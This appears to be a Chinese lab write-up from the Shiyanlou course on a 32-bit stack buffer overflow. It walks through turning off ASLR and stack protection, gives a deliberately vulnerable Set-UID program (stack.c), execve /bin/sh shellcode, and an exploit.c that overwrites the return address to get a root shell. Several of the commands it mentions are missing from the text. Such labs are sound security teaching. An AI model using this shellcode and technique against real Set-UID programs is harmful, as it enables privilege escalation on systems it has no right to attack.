1 补充知识

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。

系统用户名 shiyanlou

实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。

2 实验准备

输入命令安装一些用于编译 32 位 C 程序的软件包：

3 实验开始

3.1 初始设置

Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：

此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。

linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序(zsh)代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：

输入命令“linux32”进入32位linux环境。此时你会发现，命令行用起来没那么爽了，比如不能tab补全了，输入“/bin/bash”使用bash：

一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。

观察以下代码：

include

int main()

{

char *name[2];

name[0] = "/bin/sh";

name[1] = NULL;

execve(name[0], name, NULL);

}

本次实验的 shellcode，就是刚才代码的汇编版本：

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.2 漏洞程序

在 /tmp 目录下新建一个 stack.c 文件：

通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。

/* stack.c */

/* This program has a buffer overflow vulnerability. */

/* Our task is to exploit this vulnerability */

#include

#include

#include

int bof(char *str)

{

char buffer[12];

/* The following statement has a buffer overflow problem */

strcpy(buffer, str);

return 1;

}

int main(int argc, char **argv)

{

char str[517];

FILE *badfile;

badfile = fopen("badfile", "r");

fread(str, sizeof(char), 517, badfile);

bof(str);

printf("Returned Properly\n");

return 1;

}

编译该程序，并设置 SET-UID。命令如下：

GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。

-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。

在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容：

/* exploit.c */

/* A program that creates a file containing code for launching shell*/

#include

#include

#include

char shellcode[] =

"\x31\xc0" //xorl %eax,%eax

"\x50" //pushl %eax

"\x68""//sh" //pushl $0x68732f2f

"\x68""/bin" //pushl $0x6e69622f

"\x89\xe3" //movl %esp,%ebx

"\x50" //pushl %eax

"\x53" //pushl %ebx

"\x89\xe1" //movl %esp,%ecx

"\x99" //cdq

"\xb0\x0b" //movb $0x0b,%al

"\xcd\x80" //int $0x80

;

void main(int argc, char **argv)

{

char buffer[517];

FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */

memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */

strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址

strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer，偏移量设为了 100

/* Save the contents to the file "badfile" */

badfile = fopen("./badfile", "w");

fwrite(buffer, 517, 1, badfile);

fclose(badfile);

}

\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); shellcode 保存在 buffer + 100 的位置。

得到 shellcode 在内存中的地址，输入命令：

gdb stack

disass main

显示结果：

在gdb中设置断点b *0x080484e8

显示结果：

现在修改exploit.c文件，将 \x??\x??\x??\x?? 修改为 \x84\xd4\xff\xff

然后，编译 exploit.c 程序，先运行攻击程序 exploit，再运行漏洞程序 stack：

来源：https://www.cnblogs.com/louhao-20199310/p/12026616.html